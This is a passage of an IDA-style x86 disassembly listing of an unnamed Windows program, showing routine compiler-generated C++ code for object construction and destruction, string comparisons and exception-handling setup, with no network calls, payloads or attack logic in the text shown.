esp, 14h jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BA9E0: ; CODE XREF: sub_13BA370+550j lea edx, [esp+0BCh+arg_2FC] push 1 push edx lea ecx, [esp+0C4h+var_A0] call sub_13ABAAE mov ecx, ds:dword_447148 mov [esp+0C4h+arg_23C8], 9 push ecx mov ecx, eax call sub_13AB6EE test eax, eax jz short loc_13BAA62 push offset dword_443600 lea edx, [esp+0CCh+arg_DC] push 1 push edx lea ecx, [esp+0D4h+var_B0] call sub_13ABAAE mov ecx, ds:dword_44714C mov [esp+0D4h+arg_23B8], 0Ah push ecx mov ecx, eax call sub_13AB6EE test eax, eax lea ecx, [esp+0D8h+arg_CC] mov [esp+0D8h+arg_23B4], 9 setz [esp+0D8h+var_C5] call sub_13AB626 mov al, [esp+0D8h+var_C5] mov [esp+0D8h+var_C5], bl cmp al, bl jz short loc_13BAA67 loc_13BAA62: ; CODE XREF: sub_13BA370+69Bj mov [esp+0D8h+var_C5], 1 loc_13BAA67: ; CODE XREF: sub_13BA370+6F0j lea ecx, [esp+0D8h+arg_2DC] mov [esp+0D8h+arg_23B4], bl call sub_13AB626 cmp [esp+0D8h+var_C5], bl jz short loc_13BAAD4 cmp [ebp+16h], bl jnz short loc_13BAAB0 mov ecx, offset byte_44743D call sub_13ABBE4 push eax mov ecx, offset dword_4473F4 call sub_13ABBE4 mov edx, ds:dword_447114 push eax push edx push offset dword_443CA8 push ebp call sub_13AC20B add esp, 14h loc_13BAAB0: ; CODE XREF: sub_13BA370+713j mov ecx, offset byte_E2AA95 call sub_13ABBE4 push eax mov eax, ds:dword_44711C push eax push offset dword_4435F4 push ebp call sub_13AC20B add esp, 10h jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BAAD4: ; CODE XREF: sub_13BA370+70Ej push offset dword_443600 lea ecx, [esp+0DCh+arg_FC] push 1 push ecx lea ecx, [esp+0E4h+var_C0] call sub_13ABAAE mov edx, ds:dword_447124 mov ecx, eax push edx mov [esp+0E8h+arg_23A8], 0Bh call sub_13AB6EE test eax, eax lea ecx, [esp+0E8h+arg_EC] mov [esp+0E8h+arg_23A4], bl setz [esp+0E8h+var_D5] call sub_13AB626 mov al, [esp+0E8h+var_D5] push offset dword_443600 cmp al, bl jz short loc_13BAB85 lea eax, [esp+0ECh+var_30] push 3 push eax lea ecx, [esp+0F4h+var_D0] call sub_13ABAAE push offset dword_4437F8 lea ecx, [esp+0F8h+var_3C] mov [esp+0F8h+arg_2398], 0Ch call sub_13AB8D3 push eax call strstr ; strstr add esp, 8 cmp eax, ebx jz short loc_13BAB6D inc eax lea ecx, [ebp+28h] push eax call sub_13AB9D7 loc_13BAB6D: ; CODE XREF: sub_13BA370+7F1j lea ecx, [esp+0F8h+var_40] mov [esp+0F8h+arg_2394], bl call sub_13AB626 jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BAB85: ; CODE XREF: sub_13BA370+7B7j lea ecx, [esp+0ECh+arg_23C] push 1 push ecx lea ecx, [esp+0F4h+var_D0] call sub_13ABAAE mov edx, ds:dword_447120 mov ecx, eax push edx mov [esp+0F8h+arg_2398], 0Dh call sub_13AB6EE test eax, eax jnz short loc_13BABC0 mov al, ds:byte_447854 mov [esp+0F8h+var_E5], 1 cmp al, bl jnz short loc_13BABC4 loc_13BABC0: ; CODE XREF: sub_13BA370+840j mov [esp+0F8h+var_E5], bl loc_13BABC4: ; CODE XREF: sub_13BA370+84Ej lea ecx, [esp+0F8h+arg_22C] mov [esp+0F8h+arg_2394], bl call sub_13AB626 cmp [esp+0F8h+var_E5], bl jz loc_13BAED1 push offset dword_443CA4 lea eax, [esp+0FCh+var_88] push 1 push eax lea ecx, [esp+104h+var_E0] call sub_13ABAAE push 96h mov [esp+108h+arg_2388], 0Eh call near ptr 13E0C1Ah add esp, 4 mov [esp+104h+var_F0], eax cmp eax, ebx mov [esp+104h+arg_2388], 0Fh jz short loc_13BAC22 mov ecx, eax call sub_13AC454 loc_13BAC22: ; CODE XREF: sub_13BA370+8A9j push 0ADh mov [esp+108h+arg_2388], 0Eh call near ptr 13E0C1Ah add esp, 4 mov [esp+104h+var_F0], eax cmp eax, ebx mov [esp+104h+arg_2388], 10h jz short loc_13BAC4E mov ecx, eax call sub_13AB4BE loc_13BAC4E: ; CODE XREF: sub_13BA370+8D5j push offset dword_4435EC lea ecx, [esp+108h+var_94] mov [esp+108h+arg_2388], 0Eh call sub_13ABE9B push offset dword_4435EC lea ecx, [esp+10Ch+var_68] push ebx push ecx lea ecx, [esp+114h+var_98] xor edi, edi call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+118h+arg_2378], 11h call sub_13AB6EE lea ecx, [esp+118h+var_78] mov esi, eax mov [esp+118h+arg_2374], 0Eh call sub_13AB626 cmp esi, ebx jz loc_13BAEBC loc_13BACAF: ; CODE XREF: sub_13BA370+B46j push 96h call near ptr 13E0C1Ah add esp, 4 mov [esp+118h+var_104], eax cmp eax, ebx mov [esp+118h+arg_2374], 12h jz short loc_13BACD7 mov ecx, eax call sub_13AC454 mov esi, eax jmp short loc_13BACD9 ; --------------------------------------------------------------------------- loc_13BACD7: ; CODE XREF: sub_13BA370+95Aj xor esi, esi loc_13BACD9: ; CODE XREF: sub_13BA370+965j push 0ADh mov [esp+11Ch+arg_2374], 0Eh call near ptr 13E0C1Ah add esp, 4 mov [esp+118h+var_104], eax cmp eax, ebx mov [esp+118h+arg_2374], 13h jz short loc_13BAD0B mov ecx, eax call sub_13AB4BE mov [esp+118h+var_104], eax jmp short loc_13BAD0F ; --------------------------------------------------------------------------- loc_13BAD0B: ; CODE XREF: sub_13BA370+98Cj mov [esp+118h+var_104], ebx loc_13BAD0F: ; CODE XREF: sub_13BA370+999j push offset dword_443CA0 lea ecx, [esp+11Ch+var_100] mov [esp+11Ch+arg_2374], 0Eh call sub_13AB7E3 test eax, eax jz short loc_13BAD32 mov byte ptr [esi+93h], 1 jmp short loc_13BAD38 ; --------------------------------------------------------------------------- loc_13BAD32: ; CODE XREF: sub_13BA370+9B7j mov [esi+93h], bl loc_13BAD38: ; CODE XREF: sub_13BA370+9C0j push offset dword_443C9C lea ecx, [esp+120h+var_104] call sub_13AB7E3 test eax, eax jz short loc_13BAD53 mov byte ptr [esi+94h], 1 jmp short loc_13BAD59 ; --------------------------------------------------------------------------- loc_13BAD53: ; CODE XREF: sub_13BA370+9D8j mov [esi+94h], bl loc_13BAD59: ; CODE XREF: sub_13BA370+9E1j push offset dword_443604 lea ecx, [esp+124h+var_108] call sub_13AB7E3 test eax, eax jz short loc_13BAD74 mov byte ptr [esi+95h], 1 jmp short loc_13BAD7A ; --------------------------------------------------------------------------- loc_13BAD74: ; CODE XREF: sub_13BA370+9F9j mov [esi+95h], bl loc_13BAD7A: ; CODE XREF: sub_13BA370+A02j push offset dword_443600 lea edx, [esp+128h+arg_E0] push 3 push edx lea ecx, [esp+130h+var_10C] call sub_13ABAAE push eax lea ecx, [esi+15h] mov [esp+134h+arg_235C], 14h call sub_13AC3BE lea ecx, [esp+134h+arg_D0] mov [esp+134h+arg_2358], 0Eh call sub_13AB626 push offset byte_446F80 lea ecx, [esi+54h] call sub_13AB9D7 push offset byte_446F80 lea ecx, [esi+3Fh] call sub_13AB9D7 push offset dword_443600 lea eax, [esp+140h+var_6C] push 3 push eax lea ecx, [esp+148h+var_124] call sub_13ABAAE push eax lea ecx, [esi+2Ah] mov [esp+14Ch+arg_2344], 15h call sub_13AC3BE lea ecx, [esp+14Ch+var_7C] mov [esp+14Ch+arg_2340], 0Eh call sub_13AB626 push offset dword_4435EC lea ecx, [esp+150h+arg_E8] push edi push ecx lea ecx, [esp+158h+var_DC] call sub_13ABAAE mov ecx, eax mov [esp+158h+arg_2334], 16h call sub_13ABBE4 push eax mov ecx, esi call sub_13AB9D7 lea ecx, [esp+15Ch+arg_D8] mov [esp+15Ch+arg_2330], 0Eh call sub_13AB626 mov ecx, [esp+15Ch+var_148] push 1 push esi call sub_13AC1E3 cmp esi, ebx jz short loc_13BAE69 push 1 mov ecx, esi call sub_13ABDD3 loc_13BAE69: ; CODE XREF: sub_13BA370+AEEj mov ecx, [esp+168h+var_154] call sub_13AB7D4 inc edi push offset dword_4435EC lea edx, [esp+16Ch+var_C8] push edi push edx lea ecx, [esp+174h+var_F8] call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+178h+arg_2318], 11h call sub_13AB6EE lea ecx, [esp+178h+var_D8] mov esi, eax mov [esp+178h+arg_2314], 0Eh call sub_13AB626 cmp esi, ebx jnz loc_13BACAF loc_13BAEBC: ; CODE XREF: sub_13BA370+939j lea ecx, [esp+178h+var_108] mov [esp+178h+arg_2314], bl call sub_13AB626 jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BAED1: ; CODE XREF: sub_13BA370+86Bj push offset dword_443600 lea eax, [esp+0FCh+arg_25C] push 1 push eax lea ecx, [esp+104h+var_E0] call sub_13ABAAE mov ecx, ds:dword_447118 mov [esp+104h+arg_2388], 17h push ecx mov ecx, eax call sub_13AB6EE test eax, eax lea ecx, [esp+108h+arg_24C] mov [esp+108h+arg_2384], bl setz [esp+108h+var_F5] call sub_13AB626 cmp [esp+108h+var_F5], bl jz loc_13BB1EB push 96h call near ptr 13E0C1Ah add esp, 4 mov [esp+108h+var_F4], eax cmp eax, ebx mov [esp+108h+arg_2384], 18h jz short loc_13BAF4B mov ecx, eax call sub_13AC454 mov esi, eax jmp short loc_13BAF4D ; --------------------------------------------------------------------------- loc_13BAF4B: ; CODE XREF: sub_13BA370+BCEj xor esi, esi loc_13BAF4D: ; CODE XREF: sub_13BA370+BD9j push 0ADh mov [esp+10Ch+arg_2384], bl call near ptr 13E0C1Ah add esp, 4 mov [esp+108h+var_F4], eax cmp eax, ebx mov [esp+108h+arg_2384], 19h jz short loc_13BAF7C mov ecx, eax call sub_13AB4BE mov edi, eax jmp short loc_13BAF7E ; --------------------------------------------------------------------------- loc_13BAF7C: ; CODE XREF: sub_13BA370+BFFj xor edi, edi loc_13BAF7E: ; CODE XREF: sub_13BA370+C0Aj push offset dword_443604 lea ecx, [esp+10Ch+var_F0] mov [esp+10Ch+arg_2384], bl call sub_13AB7E3 test eax, eax jz short loc_13BAFA0 mov byte ptr [esi+95h], 1 jmp short loc_13BAFA6 ; --------------------------------------------------------------------------- loc_13BAFA0: ; CODE XREF: sub_13BA370+C25j mov [esi+95h], bl loc_13BAFA6: ; CODE XREF: sub_13BA370+C2Ej push offset dword_443CA0 lea ecx, [esp+110h+var_F4] call sub_13AB7E3 test eax, eax jz short loc_13BAFC1 mov byte ptr [esi+93h], 1 jmp short loc_13BAFC7 ; --------------------------------------------------------------------------- loc_13BAFC1: ; CODE XREF: sub_13BA370+C46j mov [esi+93h], bl loc_13BAFC7: ; CODE XREF: sub_13BA370+C4Fj push offset dword_443C9C lea ecx, [esp+114h+var_F8] call sub_13AB7E3 test eax, eax jz short loc_13BAFE2 mov byte ptr [esi+94h], 1 jmp short loc_13BAFE8 ; --------------------------------------------------------------------------- loc_13BAFE2: ; CODE XREF: sub_13BA370+C67j mov [esi+94h], bl loc_13BAFE8: ; CODE XREF: sub_13BA370+C70j push offset dword_443CA4 lea edx, [esp+118h+arg_180] push ebx push edx lea ecx, [esp+120h+var_FC] call sub_13ABAAE push offset dword_443600 lea ecx, [esp+124h+arg_2C4] push ebx push ecx mov ecx, eax mov [esp+12Ch+arg_236C], 1Ah call sub_13ABAAE push offset dword_443C98 lea edx, [esp+130h+arg_138] push ebx push edx mov ecx, eax mov [esp+138h+arg_2360], 1Bh call sub_13ABAAE push eax lea ecx, [esi+15h] mov [esp+13Ch+arg_2354], 1Ch call sub_13AC3BE lea ecx, [esp+13Ch+arg_128] mov [esp+13Ch+arg_2350], 1Bh call sub_13AB626 lea ecx, [esp+13Ch+arg_2A8] mov [esp+13Ch+arg_2350], 1Ah call sub_13AB626 lea ecx, [esp+13Ch+arg_158] mov [esp+13Ch+arg_2350], bl call sub_13AB626 push offset dword_443C98 lea eax, [esp+140h+var_3C] push 1 push eax lea ecx, [esp+148h+var_124] call sub_13ABAAE push offset dword_4437F8 lea ecx, [esp+14Ch+var_60] push ebx push ecx mov ecx, eax mov [esp+154h+arg_2344], 1Dh call sub_13ABAAE push eax lea ecx, [esi+54h] mov [esp+158h+arg_2338], 1Eh call sub_13AC3BE lea ecx, [esp+158h+var_70] mov [esp+158h+arg_2334], 1Dh call sub_13AB626 lea ecx, [esp+158h+var_58] mov [esp+158h+arg_2334], bl call sub_13AB626 push offset dword_4437F8 lea edx, [esp+15Ch+arg_4] push 1 push edx lea ecx, [esp+164h+var_140] call sub_13ABAAE push offset dword_443600 lea ecx, [esp+168h+var_34] push ebx push ecx mov ecx, eax mov [esp+170h+arg_2328], 1Fh call sub_13ABAAE push eax lea ecx, [esi+3Fh] mov [esp+174h+arg_231C], 20h call sub_13AC3BE mov [esp+174h+arg_2318], 1Fh lea ecx, [esp+174h+var_44] call sub_13AB626 lea ecx, [esp+174h+var_14] mov [esp+174h+arg_2318], bl call sub_13AB626 push offset dword_443600 lea edx, [esp+178h+arg_18] push 2 push edx lea ecx, [esp+180h+var_15C] call sub_13ABAAE push eax lea ecx, [esi+2Ah] mov [esp+184h+arg_230C], 21h call sub_13AC3BE lea ecx, [esp+184h+arg_8] mov [esp+184h+arg_2308], bl call sub_13AB626 push offset dword_443C94 lea ecx, [esp+188h+var_16C] call sub_13AB8D3 push eax call strstr ; strstr add esp, 8 cmp eax, ebx jz short loc_13BB1BD add eax, 2 push eax jmp short loc_13BB1C2 ; --------------------------------------------------------------------------- loc_13BB1BD: ; CODE XREF: sub_13BA370+E45j push offset byte_446F80 loc_13BB1C2: ; CODE XREF: sub_13BA370+E4Bj mov ecx, esi call sub_13AB9D7 push ebx push esi mov ecx, edi call sub_13AC1E3 cmp esi, ebx jz short loc_13BB1DF push 1 mov ecx, esi call sub_13ABDD3 loc_13BB1DF: ; CODE XREF: sub_13BA370+E64j mov ecx, edi call sub_13AB7D4 jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BB1EB: ; CODE XREF: sub_13BA370+BADj push offset dword_443600 lea eax, [esp+10Ch+arg_B4] push 1 push eax lea ecx, [esp+114h+var_F0] call sub_13ABAAE mov ecx, ds:dword_44713C mov [esp+114h+arg_2378], 22h push ecx mov ecx, eax call sub_13AB6EE test eax, eax lea ecx, [esp+118h+arg_A4] mov [esp+118h+arg_2374], bl setz [esp+118h+var_105] call sub_13AB626 cmp [esp+118h+var_105], bl jz loc_13BB3C0 sub esp, 18h lea ecx, [esp+130h+var_100] mov edx, esp mov [esp+130h+var_104], esp push offset dword_443600 push 3 push edx call sub_13ABAAE mov ecx, offset word_448CAE call sub_13AC0D0 cmp eax, ebx jz short loc_13BB2B2 sub esp, 18h lea ecx, [esp+154h+var_124] mov eax, esp mov [esp+154h+var_128], esp push offset dword_443600 push 3 push eax call sub_13ABAAE sub esp, 18h mov [esp+178h+arg_2344], 23h mov ecx, esp mov [esp+178h+var_118], esp push offset dword_443600 push 3 push ecx lea ecx, [esp+184h+var_130] call sub_13ABAAE mov ecx, offset word_448CAE mov [esp+184h+arg_2338], bl call sub_13AC50D loc_13BB2B2: ; CODE XREF: sub_13BA370+EF3j push offset dword_443600 lea edx, [esp+188h+arg_68] push 3 push edx lea ecx, [esp+190h+var_16C] call sub_13ABAAE push offset byte_E2AA95 mov ecx, eax mov [esp+194h+arg_22FC], 24h call sub_13ABF72 test eax, eax lea ecx, [esp+194h+arg_58] mov [esp+194h+arg_22F8], bl setz [esp+194h+var_181] call sub_13AB626 cmp [esp+194h+var_181], bl jz loc_13BB737 push offset dword_443CA4 lea eax, [esp+198h+arg_B8] push ebx push eax lea ecx, [esp+1A0h+var_17C] call sub_13ABAAE push offset dword_443C98 lea ecx, [esp+1A4h+arg_7C] push ebx push ecx mov ecx, eax mov [esp+1ACh+arg_22EC], 25h call sub_13ABAAE mov ecx, eax mov [esp+1ACh+arg_22E0], 26h call sub_13ABBE4 push eax lea ecx, [esp+1B0h+arg_D0] call sub_13ABC61 lea ecx, [esp+1B0h+arg_6C] mov [esp+1B0h+arg_22DC], 29h call sub_13AB626 lea ecx, [esp+1B0h+arg_9C] mov [esp+1B0h+arg_22DC], 28h call sub_13AB626 mov ecx, offset byte_44743D mov [ebp+16h], bl call sub_13ABBE4 push eax mov ecx, offset dword_4473F4 call sub_13ABBE4 mov edx, ds:dword_447114 push eax push edx push offset dword_443CA8 push ebp call sub_13AC20B add esp, 14h lea ecx, [esp+1B0h+arg_CC] mov [esp+1B0h+arg_22DC], bl call sub_13AB626 jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BB3C0: ; CODE XREF: sub_13BA370+EC7j push offset dword_443600 lea eax, [esp+11Ch+arg_194] push 1 push eax lea ecx, [esp+124h+var_100] call sub_13ABAAE mov ecx, ds:dword_447130 mov [esp+124h+arg_2368], 2Ah push ecx mov ecx, eax call sub_13AB6EE test eax, eax lea ecx, [esp+128h+arg_184] mov [esp+128h+arg_2364], bl setz byte ptr [esp+128h+var_118+3] call sub_13AB626 cmp byte ptr [esp+128h+var_118+3], bl jz loc_13BB578 push offset dword_443CA4 lea edx, [esp+12Ch+arg_1E4] push 1 push edx lea ecx, [esp+134h+var_110] call sub_13ABAAE push offset dword_443C98 lea ecx, [esp+138h+arg_1A8] push ebx push ecx mov ecx, eax mov [esp+140h+arg_2358], 2Bh call sub_13ABAAE mov ecx, eax mov [esp+140h+arg_234C], 2Ch call sub_13ABBE4 push eax lea ecx, [esp+144h+var_E8] call sub_13ABC61 lea ecx, [esp+144h+arg_198] mov [esp+144h+arg_2348], 2Fh call sub_13AB626 lea ecx, [esp+144h+arg_1C8] mov [esp+144h+arg_2348], 2Eh call sub_13AB626 push offset dword_443C94 lea ecx, [esp+148h+var_12C] call sub_13AB8D3 mov esi, strstr push eax call esi ; strstr add esp, 8 test eax, eax jz loc_13BB563 push offset dword_443C94 lea ecx, [esp+148h+var_12C] call sub_13AB8D3 push eax call esi ; strstr add esp, 8 lea ecx, [esp+144h+var_BC] push eax call sub_13ABC61 push offset byte_446F80 lea ecx, [esp+14Ch+var_F0] mov [esp+14Ch+arg_2344], 30h call sub_13AB6EE test eax, eax jz short loc_13BB54F push offset byte_446F80 lea ecx, [esp+150h+var_C4] call sub_13AB6EE test eax, eax jz short loc_13BB54F sub esp, 18h lea edx, [esp+168h+var_F8] mov ecx, esp mov [esp+168h+var_120], esp push edx call sub_13AB8C9 mov ecx, offset word_448CAE call sub_13AC0D0 cmp eax, ebx jz short loc_13BB52B lea ecx, [esp+16Ch+var_E4] push ecx lea ecx, [eax+19h] call sub_13AC3BE loc_13BB52B: ; CODE XREF: sub_13BA370+11A9j push offset byte_E2AA95 lea ecx, [esp+174h+var_118] call sub_13ABF72 test eax, eax jnz short loc_13BB54F lea edx, [esp+174h+var_EC] mov ecx, offset byte_E2AA95 push edx call sub_13AC3BE loc_13BB54F: ; CODE XREF: sub_13BA370+1173j ; sub_13BA370+1188j ... lea ecx, [esp+178h+var_F0] mov [esp+178h+arg_2314], 2Eh call sub_13AB626 loc_13BB563: ; CODE XREF: sub_13BA370+1134j lea ecx, [esp+178h+var_120] mov [esp+178h+arg_2314], bl call sub_13AB626 jmp loc_13BB737 ; --------------------------------------------------------------------------- loc_13BB578: ; CODE XREF: sub_13BA370+109Cj push offset dword_443600 lea eax, [esp+12Ch+arg_244] push 1 push eax lea ecx, [esp+134h+var_110] call sub_13ABAAE mov ecx, ds:dword_447140 mov [esp+134h+arg_2358], 31h push ecx mov ecx, eax call sub_13AB6EE test eax, eax jz short loc_13BB5FF push offset dword_443600 lea edx, [esp+13Ch+arg_204] push 1 push edx lea ecx, [esp+144h+var_120] call sub_13ABAAE mov ecx, ds:dword_447150 mov [esp+144h+arg_2348], 32h push ecx mov ecx, eax call sub_13AB6EE test eax, eax lea ecx, [esp+148h+arg_1F4] mov [esp+148h+arg_2344], 31h setz [esp+148h+var_135] call sub_13AB626 mov al, [esp+148h+var_135] mov [esp+148h+var_135], bl cmp al, bl jz short loc_13BB604 loc_13BB5FF: ; CODE XREF: sub_13BA370+1238j mov [esp+148h+var_135], 1 loc_13BB604: ; CODE XREF: sub_13BA370+128Dj lea ecx, [esp+148h+arg_224] mov [esp+148h+arg_2344], bl call sub_13AB626 cmp [esp+148h+var_135], bl jz loc_13BB737 push offset dword_443CA4 lea edx, [esp+14Ch+arg_254] push 1 push edx lea ecx, [esp+154h+var_130] call sub_13ABAAE sub esp, 18h mov [esp+16Ch+arg_2338], 33h mov ecx, esp mov [esp+16Ch+var_124], esp push offset dword_443C98 push ebx push ecx mov ecx, eax call sub_13ABAAE mov ecx, offset word_448CAE call sub_13AC0D0 lea ecx, [esp+178h+arg_224] mov esi, eax mov [esp+178h+arg_2314], bl call sub_13AB626 cmp esi, ebx jz loc_13BB737 push offset dword_443CA4 lea edx, [esp+17Ch+arg_284] push 1 push edx lea ecx, [esp+184h+var_160] call sub_13ABAAE sub esp, 18h mov [esp+19Ch+arg_2308], 34h mov ecx, esp mov [esp+19Ch+var_154], esp push offset dword_443C98 push ebx push ecx mov ecx, eax call sub_13ABAAE push offset dword_443CA4 lea edx, [esp+1ACh+arg_23C] push 1 push edx lea ecx, [esp+1B4h+var_178] mov [esp+1B4h+arg_22FC], 35h call sub_13ABAAE sub esp, 18h mov [esp+1CCh+arg_22F0], 36h mov ecx, esp mov [esp+1CCh+var_188], esp push offset dword_443C98 push ebx push ecx mov ecx, eax call sub_13ABAAE mov ecx, offset word_448CAE mov [esp+1D8h+arg_22E4], 37h call sub_13AC50D lea ecx, [esp+1D8h+arg_1F4] mov [esp+1D8h+arg_22B4], 34h call sub_13AB626 lea ecx, [esp+1D8h+arg_224] mov [esp+1D8h+arg_22B4], bl call sub_13AB626 jmp short loc_13BB737 ; --------------------------------------------------------------------------- loc_13BB730: ; CODE XREF: sub_13BA370+391j mov ecx, ebp call sub_13AC10C loc_13BB737: ; CODE XREF: sub_13BA370+1D3j ; sub_13BA370+253j ... cmp [ebp+17h], bl jnz loc_13BA3B2 loc_13BB740: ; CODE XREF: sub_13BA370+3Cj ; sub_13BA370+4Fj lea ecx, [esp+74h+var_5C] mov [esp+74h+arg_2418], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+74h+arg_2410] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_13BA370 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BBC70 proc near ; CODE XREF: sub_13AB4BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 439698h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC26A lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_13AC454 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13BBC70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BBCF0 proc near ; CODE XREF: sub_13AB55Ej sub_13ABAEAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB41E test [esp+4+arg_0], 1 jz short loc_13BBD08 push esi call near ptr 13E0C02h add esp, 4 loc_13BBD08: ; CODE XREF: sub_13BBCF0+Dj mov eax, esi pop esi retn 4 sub_13BBCF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BBD20 proc near ; CODE XREF: sub_13AB41Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 4396B8h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset dword_43E038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_13ABD6A mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AC431 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13BBD20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BBDA0 proc near ; CODE XREF: sub_13AC454j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43970Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB824 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_13AB824 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_13AB824 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB824 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB824 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_13AB824 lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_13AB824 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13BBDA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BBE60 proc near ; CODE XREF: sub_13ABD6Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43976Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_13AB626 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_13AB626 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB626 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB626 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13BBE60 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BBF20 proc near ; CODE XREF: sub_13ABDD3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABD6A test [esp+4+arg_0], 1 jz short loc_13BBF38 push esi call near ptr 13E0C02h add esp, 4 loc_13BBF38: ; CODE XREF: sub_13BBF20+Dj mov eax, esi pop esi retn 4 sub_13BBF20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BBF50 proc near ; CODE XREF: sub_13ABE0Aj var_A8 = byte ptr -0A8h var_9C = byte ptr -9Ch var_90 = byte ptr -90h var_84 = dword ptr -84h var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_64 = dword ptr -64h var_60 = byte ptr -60h var_58 = dword ptr -58h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push 4397E0h push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_13BBF76 lea edi, [esi+11h] jmp short loc_13BBF78 ; --------------------------------------------------------------------------- loc_13BBF76: ; CODE XREF: sub_13BBF50+1Fj xor edi, edi loc_13BBF78: ; CODE XREF: sub_13BBF50+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_13ABDB5 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_13ABBE4 lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 or edi, 0FFFFFFFFh lea ecx, [esp+54h+var_48] mov [esp+54h+var_10], edi call sub_13AB626 test esi, esi jz short loc_13BBFCC lea ebx, [esi+11h] jmp short loc_13BBFCE ; --------------------------------------------------------------------------- loc_13BBFCC: ; CODE XREF: sub_13BBF50+75j xor ebx, ebx loc_13BBFCE: ; CODE XREF: sub_13BBF50+7Aj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+80h+var_48] push 9 push edx call sub_13ABDB5 add esp, 34h push ebx mov ecx, eax mov [esp+58h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+60h+var_54] mov [esp+60h+var_1C], edi call sub_13AB626 test esi, esi jz short loc_13BC02B lea ebx, [esi+11h] jmp short loc_13BC02D ; --------------------------------------------------------------------------- loc_13BC02B: ; CODE XREF: sub_13BBF50+D4j xor ebx, ebx loc_13BC02D: ; CODE XREF: sub_13BBF50+D9j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+78h+var_54] push 9 push ecx call sub_13ABDB5 add esp, 20h push ebx mov ecx, eax mov [esp+64h+var_1C], 2 call sub_13ABBE4 lea edx, [esi+1C6h] push 